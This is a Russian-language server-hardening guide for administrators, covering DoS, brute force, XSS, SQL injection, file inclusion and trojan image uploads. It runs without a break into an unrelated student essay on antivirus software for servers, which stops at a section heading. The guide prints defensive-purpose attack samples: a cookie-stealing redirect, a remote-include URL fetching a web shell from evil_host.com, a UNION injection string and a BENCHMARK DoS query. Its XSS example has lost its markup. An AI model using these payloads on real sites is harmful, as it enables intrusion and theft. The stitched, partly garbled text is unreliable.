    • Правило необходимого минимума . Минимизируйте доступные сервисы для Интернета. Отключайте ненужное, так как нельзя взломать то, что отключено. Частая ошибка, например, когда MySQL сервер, работающий в паре с Apache на одной машине, настроен так, что доступен удаленно на своем стандартном порту 3306. Зачем? Дайте команду netstat -na | grep LISTEN и дайте себе ответ: вы знаете какие программы на каком интерфейсе и какой порт используют? Вы контролируете ситуацию? Хорошо если так.
    • Много сильных и разных паролей . Часто в видео по хаку или рассказах хакеров о взломе, мелькает фраза "хорошо что у админа был один пароль на админку, который также подошел к ssh и ftp". Я надеюсь это не про вас. Отсюда правило: пароли на разные сервисы должны быть разными и не меньше 16 символов. Пусть записаны на бумажку, если боитесь забыть (в этом месте меня убивают специалисты по безопасности), но это лучше, чем ваш пароль дешифрует за несколько минут удаленный атакёр, так как маленькая длина пароля и похожесть на словарное слово позволили это сделать.

      Разные пароли на разные сервисы легко сделать если сервисы будут авторизовать не как системных пользователей в базе /etc/passwd, а как виртуальных в своих собственных планарных или СУБД базах. Не храните пароли на серверах в файле password.txt ко всем ресурсам, к которым вы как админ имеете доступ.

    • Ограничение . Все ваши службы на сервере должны работать от разных ограниченных учетных записей (account) и никогда не работать от учетной записи root. Поверьте, если доберутся до повышения привилегий от ограниченной учетной записи до статуса рута (uid=0, gid=0), вас спасет отсутствие в вашей обновленной системе известных дыр.

      Кстати, многие админы забывают такую вещь, зачем, например, учетным записям для работы Apache и MySQL иметь доступ к shell! Ведь это можно отключить и вместо shell указать /bin/false. Ну-ка, честно, проверьте на своем подотчетном сервере ваши учетные записи к программам и скажите, если я не прав. В ваших SQL базах ограничивайте аккаунты минимально необходимыми привилегиями. Не давайте привилегии FILE, когда вызывается только SELECT.

    • Всех в тюрьму! Обучитесь работе с песочницами (sandbox) или тюрьмами (jail) и запускайте приложения в этих изолированных комнатах, это затруднит взлом всего сервера. Если используете виртуализацию, то можно разнести службы по разным гостевым операционным системам.
    • Эшелонированная оборона. Есть возможность что-то запретить несколькими путями в разных местах - сделайте это. НИКОГДА не думайте - это я запретил тут, там запрещать лишнее.

    Подробнее об атаках на уязвимые сервисы и сам сервер.

    • Атака DoS (Отказ в обслуживании) - атака, чья цель забить какой-либо ограниченный ресурс сервера (интернет канал, оперативную память, процессор и тд и тп), так чтобы сервер не смог обслужить легитимных пользователей. Образно говоря, представьте что вам позвонил домой злоумышленник и молчал в трубку и так продолжалось весь вечер. Вам все это надоело и вы отключили телефон, а утром узнали, что пропустили важный звонок вашего шефа. Вот аналогия из реальной жизни атаки DoS.

      В реальной жизни DoS часто выглядит так, из-за ошибки в программе, использование процессора подскакивает и долго держится у отметки 100%, а атакёр периодически использует данную дыру в программе. Криво написаное приложение может исчерпать всю оперативную память. Или "почтовая бомба" в виде сильно сжатого в архиве файла с множеством знаков [пробел], которого распакует для проверки антивирус и распакованный огромный файл переполнит раздел жестком диске на сервере или/и вызовет перезагрузку сервера.

      Защита от атак DoS:

      • Обновление программы, которой манипулируют для атаки DoS
      • Настроить квотирование ресурсов для учетной записи от которой работает данная программа. *nix системы позволяют настроить процент использования процессора, оперативной памяти, кол-во порождаемых процессов, открытых файлов и т.д. и т.п.
      • Настройте логирование в программе и постарайтесь найти атакера-кукловода и заблокировать его в файрволе.
      • Настройте программу как советует разработчик, гуру, по статьям в Интернете, если вы оказались в такой ситуации.
    • DDoS (тот же DoS, но вас атакуют с нескольких компьютеров-зомби, под руководством
      атакующего). DDoS разрушителен и их применяют только те вандалы, которые имеют стада зомбированных машин и будут требовать деньги за прекращение атаки или нанесение ущерба вашему бизнесу, чтобы пользователи, не достучавшись до вашего сервера, ушли к конкуренту. DDoS атаки не применяют хакеры, чья цель интелектуальный взлом вашего сервера, да-да ваш сервер это "загадка", которую хотят "разгадать".

      Как защитится от DDoS? Если будете надеяться на собственные силы и средства, то можно, автоматизируя работу скриптами выуживать IP адреса из различных логов и заносить в запрещающие правила файрвола. Так, например, поступил автор статьи "Есть ли жизнь под DDoS"ом?" в журнале Хакер. Блокируйте сети атакеров в файрволе, урон от DDoS можно уменьшить, если прочесть статьи по настройке ваших программ и выполнить эти инструкции. Например, для Apache есть множество статей как настроить его для минимизации урона от DDoS.

      Защита от атак DDoS:

      • Если DDoS направлен на приложение, попытайтесь в логах найти отличия атакеров от легитимных пользователей, и автоматизируя скриптом, заносите в правила файрвола в deny
      • Если DDoS направлен на систему (например, атака по ICMP протоколу), автоматизируя скриптом, заносите в правила файрвола в deny
      • Настроить квотирование ресурсов для учетной записи от которой работает данная программа. *nix системы позволяют настроить процент использования процессора, оперативной памяти, кол-во порождаемых процессов, открытых файлов и тд и тп
      • Настройте программу как советует разработчик, гуру, по статьям в Интернете, если вы оказались в такой ситуации
      • Обратитесь к вашему вышестоящему провайдеру, чтобы он помог чем смог. Напишите жалобу на abuse@хозяин_сетей_откуда_атакуют.домен. Это поможет частично разрушить сеть атакера, пусть понесет урон, ему это деньги стоит. Испытаете моральное удовлетворение.
      • Познакомьтесь с mod_security для Apache, это прекрасное средство поможет вам в некоторых ситуациях.
    • Атака bruteforce пароля. Тут дыры в программах не виноваты, просто грубо подбирают пару логин/пароль. Кто оставлял сервер с настроенным ssh, но забывал ограничить доступ по ssh с определенных IP и с определенными логинами (директива в ssh_config AllowUser), тот наверняка видел в логах попытки перебора пароля маша:пароль_маши.

      Защита от bruteforce пароля:

      • Ограничивайте кол-во попыток неудачных логинов/паролей
      • Если приложение позволяет, то настройте увеличение времени перед новой попыткой логин/пароль.
      • Если с приложением должен работать узкий круг людей, создайте такое правило и ограничьте им
    Атака через динамическое содержимое сервиса

    Данный вид атак часто происходит на связку Apache + (PHP | PERL) + (MySQL | PostgreSQL) для мира *nix и IIS + ASP + Microsoft SQL Server для мира MS Windows с помощью простого браузера, но это только частный случай, который просто чаще используется из-за популярности web. В данной связке языками программирования являются ASP, PHP, Perl, SQL поэтому их часто будут использовать хакеры для составления своих деструктивных конструкций.

    НО самое главное следует уяснить, что таких связок сервис + поверх них динамический контент на языках программирования множество и следовательно все они под прицелом хакеров. Например вот такой неполный список:

    • Веб-сервер + CGI скрипты
    • Древняя связка ныне не употребляющаяся - Apache + PHF (именно P H F) скрипты
    • IIS + сервер приложений ColdFusion
    • Механизм SSI (Server Side Includes)

    Далее, речь пойдет большой частью о web-hack`е, но не забывайте о том, что все ниже описанное справедливо и для других связок сервис + динамический контент. Слова разные, а суть одна. Сегодня хакеры браузером атакуют web, завтра клиентом R против сервиса Z. Веб-сервер, сам будучи связан с базами данных и с многочисленными языками программирования, стал платформой для атак такого рода.

    Смысл всех атак такого рода сводится к тому, чтобы пытаться с помощью браузера обследовать сайт на поиск ошибок в скриптах, обслуживающих динамическое содержимое (content) сайта.

    Отсюда вывод - взлом сайта через атаку на web, на котором лежат только статические html-страницы, ссылающиеся только друг на друга, НЕВОЗМОЖЕН. Атаки через ваш Web-сайт появились, когда люди захотели больше интерактивности и добавляли оную через языки программирования и базы данных.

    Хакеры сёрфя по сайту, особое внимание обращают на скрипты, которым передается какой-либо параметр. А что если автор скрипта не проверяет что именно передается в качестве значения параметра?

    Общие решения для админа от атак на динамическое содержимое сервиса (Web-сайт, как частный случай)

    • Обновление . Мы уже об этом говорили, но, если вы используете стороннюю наработку (движки форумов, галерей, чатов и тд и п), то получайте сообщения об уязвимостях и латайте дыры. Мнение хакеров таково, если портал работает с финансами и их оборотом, то на таком портале не желательно наличие чьих либо разработок, кроме собственных. Конечно подразумевается, что разработку собственных движков на сайт писали кодеры, которые умеют безопасно программировать и имеют понятие об угрозах в Интернете.
    • Будьте нестандартны . Во многих хакерских утилитах, базах уязвимостей часто мелькают пути forum/, gallery/, images/. Очень удобно! Знай админ, половина из них побреется и плюнет на твой сайт, когда сайт твой не расположен в /usr/www, а админка твоя не site.com/admin. Суть такова, если ты не стандартен, то это дополнительные палки в колеса хакеру, который атакует твой сайт. Ему придется добавлять/исправлять в ручную базу/скрипт. А всегда хакер это сможет или захочет? Молодых хакеров "скрипт-кидисов" это точно отпугнет. Вот, например, советы по безопасности PHP

      # Сделать код PHP выглядящим как коды других типов
      AddType application/x-httpd-php .asp .py .pl
      # Сделать код PHP выглядящим как коды неизвестных типов
      AddType application/x-httpd-php .bop .foo .133t
      # Сделать код PHP выглядящим как html
      AddType application/x-httpd-php .html .htm

      Эта форма безопасности для PHP через скрытие имеет мало недостатков при небольших затратах. Сами хакеры, описывая свои взломы, пишут что скачивают такое же ПО, что расположено на вашем сервере, с сайта разработчика и смотрят с какими по-умолчанию именами таблиц/ путями/ работает тот или иной движок. Общий смысл в нестандартности - это затянуть процесс взлома, чтобы у хакера "блицкриг" не получился, а чем больше он тянет, тем больше вероятность его обнаружения.

    • Уберите версии движков и скриптов на сайте . Это ценная информация, которой должен быть лишен атакер, зная версию они ищут готовые решения для взлома. Сделайте так, чтобы ваши скрипты при ошибках не выводили полезной информации, такой как: путь к скрипту, где случилась ошибка (проблема "раскрытие пути") и сам вывод ошибки.
    • Подумайте о необходимости.htaccess . Наличие файлов.htaccess подразумевает, что можно отменить ваши опции заданные в основном конфиге Апача, поверьте, хакеры так и сделают. Если отменить использование.htaccess с помощью директивы "AllowOverride None", то вы получите выигрыш в производительности Апача, так как он не будет просматривать при каждом запросе все каталоги по пути к веб-страничке и повысите безопасность веб-сервера Апач.

    Подробнее об атаках на динамическое содержимое (Web-сайт, как частный случай)

    • XSS (Cross Site Scripting).
      Межсайтовый скриптинг называется именно XSS, а не CSS, так как CSS это ранняя аббревиатура означающая "каскадные таблицы стилей". Атаки XSS направлены не против сервера, а против пользователей данного сервера. Но радоватся админ не надо! Выглядит атака XSS следующим образом, на сайте есть редактируемые поля на web-странице или параметры скрипта, которые не фильтрируются на конструкции вида , javascript.

      Хакер добавляет в редактируемые поля код на языке программирования установленный на стороне клиента, обычно это Java и VBScript, и этот код становится частью HTML страницы. Когда пользователь посещает такую страницу, его браузер, разбирая страницу, выполняет этот код.
      Что делают хакеры, благодаря XSS?

      • Кража кукисов (cookie, плюшки) - в этих текстовых файликах хранится информация, которую сервер "положил" пользователю для его последущей идентификации. В примере, если вы создадите файл test.html с таким содержимым (напишите его руками сами), то при запуске в браузере, он выведет XSS.
        Уважаемый админ у мя произошла ошибка при посещении сайта
        помогите

        А ведь можно написать скрипт на Java и посерьезнее document.location="адрес приемщика кукисов"+document.cookie. Обычно подобные скрипты пишут на web-почту админу и, используя социальную инженерию, пытаются заставить его прочесть сообщение, чтобы получить его кукисы.

        Если в кукисах нет привязки к IP адресу и дополнительных мер защиты, то подменяют свои кукисы на кукисы админа и пытаются попасть в админку, которая не проверяет логин и пароль и идентифицирует людей только по кукисам.

      • Дефейс сайта (deface - замена стартовой страницы сайта, чаще всего index.html)
      • Троянизация удаленного пользователя. Подбираются свежие эксплойты для браузеров пользователей и при их заходе на уязвимую страницу, поисходит попытка заразить компьютер трояном. Если у пользователя установлен антивирус со свежими базами, то он укажет, на появление в системе троянера. И ваш сайт упадет в глазах пользователя, возможно он больше к вам не придет.
      • DoS. При большом количестве посетителей, скрипт дополнительно будет затребовать еще другие страницы с вашего сервера или с другого, кому-то может быть DoS.

      Решение проблемы:

      • Для блокировки записи html тегов в базу данных из полей ввода информации, применяйте конструкции подобные htmlspecialchars для PHP, которые заменят < на на >, & на & и так далее
        Пример,

        $comment = htmlspecialchars($comment, ENT_QUOTES);
        $query = "insert into guestbook
        (name, location, email, url, comment) values
        ("$name", "$location", "$email", "$url", "$comment")";
        mysql_query($query) or die (mysql_error());

      • Проверяйте и фильтруйте в своих скриптах все параметры, которые вводит пользователь и передающиеся скрипту через адресную строку. Изучите как правильно применять регулярные выражения для разбора поступающих данных. Для своего языка программирования найдите материал, обучающий приемам безопасного программирования.
      • Если вы хотите использовать технологию cookie на своем сайте, то ознакомьтесь с безопасными методами работы с кукисами. Ограничивайте их действия во времени и по IP адресам.
      • Как админ будьте бдительны, когда вас разводят с помощью социальной инженерии. Не забывайте о личной компьютерной безопасности за своим клиентским компьютером.
    • SQL injection. SQL инъекция.
      Эта болезнь обозначает, что непроверенный параметр подставляют в SQL запрос, фигурирующий в скрипте. Скрипты, болеющие SQL injection хакер находит простым способом, к значению параметра поставляется кавычка site.com/view.php?id=1" или числовой параметр видоизменяют так site.com/view.php?id=2-1.

      Если подставленная кавычка вызывает "ошибку" (куча сообщений что не выполняется такой-то запрос в таком то скрипте по такому пути), то такой скрипт кандидат на прокачку его далее. Часто злоумышленники пользуются Гугл-хак"ом, запрашивая поисковик примерно такими запросами "site:www.жертва.ru Warning". Поисковик Гугл выдаст некорректные скрипты на вашем сайте, настолько древние, что они были давно уже проиндексированы пауком Гугла.

      Код, не проверяющий значение и страдающий SQL injection

      $id = $_REQUEST["id"];
      $result = mysql_query("SELECT title, text, datenews, author FROM `news` WHERE `id`="$id"");

      Теперь представьте что вместо числа, вам подставят "-1 union select null/*" (без кавычек) и тогда ваш запрос превратится

      SELECT title, text, datenews, author FROM `news` WHERE `id`="-1 union select null/*"

      То есть, хакер хочет, чтобы помимо вашего запроса выполнился его запрос, объединеный с вашим с помощью директивы union. А дальше хакер будет пытаться составлять другие запросы и, учитывая мощь языка SQL, ничего хорошего это админу не сулит. От дефейса (deface - замена стартовой страницы сайта) до получения прав root на вашем сервере. Хакер так же может провести DoS атаку благодаря SQL injection: site.com/getnews.php?id=BENCHMARK(10000000,BENCHMARK(10000000, md5(current_date))) пара таких запросов и сервер в 100% загрузке процессора надолго.

      Защита от SQL инъекции:

      • Активно используйте такие средства серверов SQL как представления (view) и хранимые процедуры. Это позволит ограничить несанкцианированный доступ к базе данных.
      • Перед тем как передавать в запрос параметр, его нужно проверить на тип (для PHP - is_bool(), is_float(), is_int(), is_string(), is_object(), is_array() и is_integer()) и, минимум, закавычить с помощью конструкции типа addslashes для PHP.
      • Все скрипты работают с базой данных от какой-нибудь учетной записью базы данных, уберите у этой учетной записи все привилегии, которые не нужны для работы. Часто хакеры используют команду MySQL (MySQL взят для примера, это касается любого SQL сервера) "LOAD DATA INFILE" для чтения нужных им файлов с сервера и доступных для чтения учетной записи, от которой работает MySQL. Отсюда вывод, отключайте ненужные привилегии для ваших скриптов, такие как FILE, которые нужны для применения команды LOAD DATA INFILE. Принцип "основного минимума" должен быть взят за основу.
      • Системная учетная запись, от которой работает SQL сервер, не должна иметь доступ к страницам сайта и системным файлам сервера.
    • Подключение файлов. Include file. Допустим есть страница site.com/getnews.php?file=190607, но автор скрипта, используя include, подключает страницу, без проверок.

      $file = $_REQUEST["file"];
      include($file.".html");

      Хакер, вместо 190607 подставит evil_host.com/shell.php и тогда вся адресная строка хакерского браузера будет выглядеть так site.com/postnews.php?file=evil_host.com/shell.php и на вашем сайте у хакера будет свой веб-шел с правами, которыми обладает Apache.

      Защита от подключений файлов:

      • Проверяйте и фильтруйте в своих скриптах все параметры, которые вводит пользователь и передающиеся скрипту через адресную строку. Для своего языка программирования найдите материал, обучающий приемам безопасного программирования.
      • Хакерам очень нравится, когда язык программирования на сайте позволяет запускать системные команды. Следовательно, нужно запретить вызов таких функций в вашем языке программирования, если, конечно, это возможно. Например, в настройках PHP есть возможность указать список "запрещенных" функций с помощью disable_functions в php.ini.
    • Троянская картинка
      Если у вас есть на сайте возможность заливать файлы на сервер, будьте готовы к заливке, например, картинки аватары. В картинке в формате JPEG есть понятие метаданные (вспомните куда фотоаппрат записывает информацию при съемке кадра) и в эти метаданные запишут


      картинку переименуют avatara.jpg.php, для обхода большинства проверок на расширение, и будут использовать site.com/upload_images/avatara.jpg.php?cmd=команды_сервера

      Защита от трояна:

      • Корректно проверяйте расширение файлов. Даже если вы корректно обрабатываете разрешенные файлы, будьте готовы, что картинку из jpg в php, переименуют с помощью другой уязвимости на вашем сайте. Проверяйте наличие в картинке метаданных с помощью функций подобных exif_read_data() в PHP.
      • Запретите средствами своего веб-сервера выполнение языков программирования в каталогах с изображениями. Для этого, просмотрите в конфигах Апача строчки вида "AddType application/x-httpd-", которые связывают языки программирования с расширениями файлов и запретите их выполнение в каталогах с изображениями. Для Apache запрещение выполнение файлов языка PHP будет конструкция


        Order deny, allow
        Deny from all

      • Для своего языка программирования найдите материал, обучающий приемам безопасного программирования при обработке изображений и корректной заливки их на сервер.

    Личное спасибо:

    • друг Александр Пупышев ака lynx за критику и советы
    • сайт antichat.ru/
    • сайт xakep.ru/
    • книга Майкл Эбен, Брайан Таймэн. FreeBSD Администрирование: исскуство достижения равновесия
    • книга Джоел Скембрей, Стюарт Мак-Клар, Джордж Курц. Секреты хакеров: Безопасность сетей - готовые решения. Второе издание

    Другие источники информации о защите:

    • Страница справочного руководства в FreeBSD man security содержит описание общих проблем защиты и правильной практики администрирования.
    • Подпишитесь на списки рассылки freebsd-security @ freebsd.org. Для этого пошлите письмо по адресу majordomo @ freebsd.org с текстом subscribe freebsd-security в теле сообщения. Именно в этом списке рассылке обсуждается наиболее актуальные проблемы защиты.
    • Страница информации о защите FreeBSD freebsd.org/security/
    • Документ FreeBSD Security How-To
    • Сайт CERT.org содержит информацию об уязвимых местах в защите всех операционных систем.
    • Книга "Брандмауэры и защита в Internet" (Firewalls & Internet Security) Уильям Чесвик (William R. Cheswick) и Стивен Беллоуин (Steven M. Bellowin)
    • Книга "Построение брандмауэров в Internet" (Building Internet Firewalls, 2nd Edition) Брент Чэпмен (Brent Chapman) и Элизабет Цвики (Elizabeth Zwicky)

    Итог:
    Я надеюсь, статья помогла вам увидеть все проблемы вместе, теперь админ нужно прочесть о компьютерной безопасности, баз данных, веб серверов, языков программирования из дополнительных источников. Резюмируя кратко статью, нужно быть в курсе новостей о выходе проблем с безопасностью, обновлятся и проверять в своих наработках все входные данные на корректность.
    Да прибудет с вами сила!

    Читинский Государственный УниверситетЭнергетический институтФакультет экономики и информатикиКафедра прикладной информатики и математики Рефератпо предмету: Пользователь ПКна тему: Антивирусное ПО для серверов Выполнила: ст. гр. ПИ-07-1Злова В.В.Проверила: ст. преп. каф. ПИММонич И.П. Чита, 2007Содержание

    Введение. 3

    1 Файл-серверы как один из источников распространения вирусов. 5

    2 Антивирусное ПО для серверов локальных сетей. 5

    3 Антивирусное ПО для почтовых серверов. 8

    4 Антивирус Касперского. 11

    Заключение. 17

    Список использованной литературы.. 18

    Введение Одной из самых опасных на сегодняшний день угроз информационной безопасности являются компьютерные вирусы. Компьютерным вирусом называется специально написанная программа, способная самопроизвольно присоединяться к другим программам, создавать свои копии и внедрять их в файлы, системные области компьютера и в вычислительные сети с целью нарушения работы программ, порчи файлов и каталогов, создания всевозможных помех в работе на компьютере.

    Под информационной безопасностью понимается защищенность информации и поддерживающей ее инфраструктуры от любых случайных или злонамеренных воздействий, результатом которых может явиться нанесение ущерба самой информации, ее владельцам или поддерживающей инфраструктуре. Задачи информационной безопасности сводятся к минимизации ущерба, а также к прогнозированию и предотвращению таких воздействий.

    Для большинства организаций защита сетевых ресурсов от несанкционированного доступа становится одной из наиболее острых проблем. Особую тревогу вызывает тот факт, что Интернет в настоящее время повсеместно используется для транспортировки и хранения различных данных и конфиденциальной корпоративной информации.

    Задача защиты информации особенно актуальна для владельцев онлайновых информационных баз данных, издателей электронных журналов и т.д.

    На сегодняшний день для борьбы с вирусами создано множество антивирусных программ.Антивирусная программа (антивирус) - изначально программа для обнаружения и лечения программ, зараженных компьютерным вирусом, а также для предотвращения заражения файла вирусом (например, с помощью вакцинации). Многие современные антивирусы позволяют обнаруживать и удалять также троянские программы и прочие вредоносные программы. Антивирусное программное обеспечение состоит из компьютерных программ, которые пытаются обнаружить, предотвратить размножение и удалить компьютерные вирусы и другие вредоносные программы.Антивирусное программное обеспечение помогает защищать компьютер от известных вирусов, "червей", "троянцев" и других зловредных программ, от которых может произойти сбой в работе компьютера. В настоящее время файловые и почтовые серверы являются основным инструментом для управления данными. Хранение, обмен и передача данных - основные задачи в таком управлении, но они невозможны без легкого доступа к информации, интеграции данных и стабильности системы. Файловый сервер - один из наиболее уязвимых сетевых ресурсов. При заражении или сбое в работе доступ к другим сетевым ресурсам может быть ограничен. Один зараженный файл может привести к заражению большого массива данных, потерях в интеграции данных и сбоям в работе системы. Такие риски являются причиной высокой стоимости продуктов для управления серверами и сетевыми ресурсами. Файл-серверы “общего пользования” и электронные конференции служат одним из основных источников распространения вирусов. Практически каждую неделю приходит сообщение о том, что какой-либо пользователь заразил свой компьютер вирусом, который был снят с BBS, ftp-сервера или из какой-либо электронной конференции. При этом часто зараженные файлы "закладываются" автором вируса на несколько BBS/ftp или рассылаются по нескольким конференциям одновременно, и эти файлы маскируются под новые версии какого-либо программного обеспечения (иногда - под новые версии антивирусов). В случае массовой рассылки вируса по файл-серверам ftp/BBS пораженными практически одновременно могут оказаться тысячи компьютеров, однако в большинстве случаев "закладываются" DOS- или Windows-вирусы, скорость распространения которых в современных условиях значительно ниже, чем макро-вирусов. По этой причине подобные инциденты практически никогда не кончаются массовыми эпидемиями, чего нельзя сказать про макро-вирусы.2 Антивирусное ПО для серверов локальных сетей Вопросы эффективной антивирусной защиты сегодня как никогда актуальны и в корпоративном секторе, и среди частных пользователей, однако, в отличие от последних, проблемы и задачи, встающие перед компаниями, намного серьезнее и требуют решений иного уровня. Администраторам корпоративных информационных систем приходится устанавливать антивирусные средства, конфигурировать их и настраивать политики обновления, а также следить, чтобы антивирусы постоянно были включены на сотнях или даже тысячах машин, - и зачастую делать все это приходится вручную. Локальные сети – один из основных источников распространения вирусов. Если не принимать необходимых мер защиты, то зараженная рабочая станция при входе в сеть заражает один или несколько служебных файлов на сервере (в случае Novell NetWare - LOGIN.COM). На следующий день пользователи при входе в сеть запускают зараженные файлы. Вместо служебного файла LOGIN.COM может также выступать различное программное обеспечение, установленное на сервере, стандартные документы-шаблоны или Excel-таблицы, применяемые в фирме.

    Опасность заражения вычислительных сетей реальна для любого предприятия, но реальное развитие вирусная эпидемия может получить в локальных сетях крупных хозяйственно-производственных комплексов с территориально-развлетвленной инфраструктурой. Их вычислительные сети, как правило, создавались поэтапно, с использованием различного аппаратного и программного обеспечения. Очевидно, что для таких предприятий вопрос антивирусной защиты становится весьма сложным, причем не только в техническом, но и в финансовом плане.

    Вместе с тем решение этого вопроса достигается путем сочетания организационных мер и программно-технических решений. Данный подход не требует больших технических и немедленных финансовых затрат, и может быть применен для комплексной антивирусной защиты локальной сети любого предприятия.

    В основу построения такой системы антивирусной защиты могут быть положены следующие принципы:

    Принцип реализации единой технической политики при обосновании выбора антивирусных продуктов для различных сегментов локальной сети;

    Принцип полноты охвата системой антивирусной защиты всей локальной сети организации;

    Принцип непрерывности контроля локальной сети предприятия, для своевременного обнаружения компьютерной инфекции;

    Принцип централизованного управления антивирусной защитой;

    Принцип реализации единой технической политики предусматривает использование во всех сегментах локальной сети только антивирусного ПО, рекомендуемого подразделением антивирусной защиты предприятия. Эта политика носит долгосрочный характер, утверждается руководством предприятия и является основой для целевого и долговременного планирования затрат на приобретение антивирусных программных продуктов и их дальнейшее обновление.

    Принцип полноты охвата системой антивирусной защиты локальной сети предусматривает постепенной внедрение в сеть программных средств антивирусной защиты до полного насыщения в сочетании с организационно-режимными мерами защиты информации.

    Принцип непрерывности контроля за антивирусным состоянием локальной сети подразумевает такую организацию ее защиты, при которой обеспечивается постоянная возможность отслеживания состояния сети для выявления вирусов.

    Принцип централизованного управления антивирусной защитой предусматривает управление системой из одной органа с использованием технических и программных средств. Именно этот орган организует централизованный контроль в сети, получает данные контроля или доклады пользователей со своих рабочих мест об обнаружении вирусов и обеспечивает внедрение принятых решений по управлению системой антивирусной защиты.Антивирусная защита локальной сети крупной организации является сложной проблемой, которая не сводится к простой установке антивирусных продуктов. Как правило, требуется создание отдельной подсистемы. В техническом плане при решении данной проблемы особое внимание следует уделить тестированию всего вновь приобретаемого антивирусного ПО, а также установке антивирусных пакетов на почтовые серверы. 3 Антивирусное ПО для почтовых серверов

    Если на заре развития компьютерных технологий основным каналом распространения вирусов был обмен файлами программ через дискеты, то сегодня пальма первенства принадлежит электронной почте. Электронная почта - удобное и незаменимое средство делового общения. Однако посредством электронной почты распространяется большая часть вирусов и спама, она может быть каналом утечки конфиденциальных данных. Каждый день по ее каналам передаются миллионы и миллионы сообщений, причем многие из этих сообщений заражены вирусами.

    К сожалению, файлы вложений, передаваемые вместе с электронными сообщениями, также могут оказаться чрезвычайно опасными для здоровья компьютера. В чем опасность файлов вложения? В качестве такого файла пользователю могут прислать вирусную или троянскую программу либо документ в формате Microsoft Office (*.doc, *.xls), зараженный компьютерным вирусом. Запустив полученную программу на выполнение или открыв для просмотра документ, пользователь может инициировать вирус или установить на свой компьютер троянскую программу. Более того, из-за неправильных настроек почтовой программы или имеющихся в ней ошибок файлы вложений могут открываться автоматически при просмотре содержимого полученных писем. В этом случае, если не предпринимать никаких защитных мер, проникновение вирусов или других вредоносных программ на ваш компьютер – дело времени.Возможны и другие попытки проникновения на компьютер через электронную почту. Например, могут прислать сообщение в виде документа HTML, в который встроен троянский элемент управления ActiveX. Открыв такое сообщение, вы можете загрузить этот элемент на свой компьютер, после чего тот немедленно начнет делать свое дело.E-mail trojan - трояны, позволяющие "вытаскивать" пароли и другую информацию из файлов вашего компьютера и отправлять их по электронной почте хозяину. Это могут быть логины и Internet-пароли провайдера, пароль от почтового ящика, пароли ICQ и IRC и др.Чтобы отправить письмо владельцу по почте, троян связывается с почтовым сервером сайта по протоколу SMTP (например, на smtp.mail.ru). После сбора необходимых данных троян проверит, отсылались ли эти данные. Если нет - данные отсылаются и сохраняются в регистре. Если уже отсылались, то из регистра извлекается предыдущее письмо, и происходит его сравнение с текущим. Если в информации произошли какие-либо изменения (появились новые данные), то письмо отсылается, и в регистре записываются свежие данные о паролях. Одним словом, этот вид троянов просто занимается сбором информации, и жертва может даже и не догадываться, что ее пароли уже кому-то известны.В архиве такого трояна обычно находится 4 файла: редактор сервера (конфигуратор), сервер трояна, упаковщик (склейщик) файлов, руководство для использования.В результате работы могут определяться следующие данные:1) IP-адрес компьютера жертвы;2) подробнейшие сведения о системе (имя компьютера и пользователя, версия Windows, модем и т.д.);3) все кэшированные пароли;4) все настройки телефонных соединений включая телефонные номера, логины и пароли;5) пароли от ICQ;6) число последних посещенных сайтов.Помимо чисто административных мер, для борьбы с вирусами и другими вредоносными программами необходимо использовать специальное антивирусное программное обеспечение (антивирусы).Для защиты от вирусов, распространяющихся по электронной почте, можно установить антивирусы на компьютерах отправителя и получателя. Однако такой защиты часто оказывается недостаточно. Обычные антивирусы, установленные на компьютерах пользователей Интернета, рассчитаны на проверку файлов и не всегда умеют анализировать поток данных электронной почты. Если антивирус не выполняет автоматическую проверку всех открываемых файлов, то вирус или троянская программа может легко просочиться сквозь защиту на диск компьютера.Кроме того, эффективность антивирусов очень сильно зависит от соблюдения правил их применения: необходимо периодически обновлять антивирусную базу данных, использовать правильные настройки антивирусного сканера и т.д. К сожалению, многие владельцы компьютеров не умеют правильно пользоваться антивирусами или не обновляют антивирусную базу данных, что неизбежно приводит к вирусному заражению.Понимая актуальность проблемы распространения вирусов по электронной почте, многие компании предлагают специальные программы-антивирусы для защиты почтовых серверов. Такие антивирусы анализируют поток данных, проходящий через почтовый сервер, не допуская передачи сообщений с зараженными файлами вложений. Существует и другое решение – подключение к почтовым серверам обычных антивирусов, предназначенных для проверки файлов.Антивирусная защита почтовых серверов SMTP и POP3 намного эффективнее антивирусной защиты компьютеров пользователей. Как правило, настройкой антивирусов на сервере занимается опытный администратор, который не ошибется при настройке и к тому же включит режим автоматического обновления базы данных через Интернет. Пользователи защищенных серверов SMTP и POP3 могут не беспокоиться по поводу основного канала распространения вирусов – к ним будут приходить сообщения, уже очищенные от вирусов.Действия, выполняемые почтовыми серверами при отправке и получении зараженных писем, зависят от настройки антивируса и самого почтового сервера. Например, когда отправитель пытается послать сообщение с зараженным файлом, защищенный почтовый сервер SMTP откажет ему в этом, а почтовая программа выведет на экран предупреждающее сообщение.Если же кто-то пошлет на ваш адрес письмо с зараженным файлом вложения, то при использовании защищенного сервера POP3 вместо него придет только сообщение об обнаружении вируса.Несмотря на постоянно растущую популярность платформы Microsoft Windows, сегодня большинство серверов Интернета работает под управлением операционных систем Linux, FreeBSD и аналогичных UNIX-подобных систем. Основное преимущество Linux – очень низкая стоимость приобретения. Каждый может загрузить через Интернет дистрибутив Linux и установить его на любое количество компьютеров. В составе этого дистрибутива есть все, что нужно для создания узла Интернета, в том числе и серверы электронной почты.Среди других преимуществ Linux и подобных ОС следует отметить открытость, доступность исходных текстов, наличие огромного сообщества добровольных разработчиков, готовых помочь в сложных ситуациях, простое удаленное управление с помощью текстовой консоли и т.д. Для ОС этой серии было создано всего несколько десятков вирусов, что говорит о ее высокой защищенности.

    4 Антивирус Касперского

    Просмотров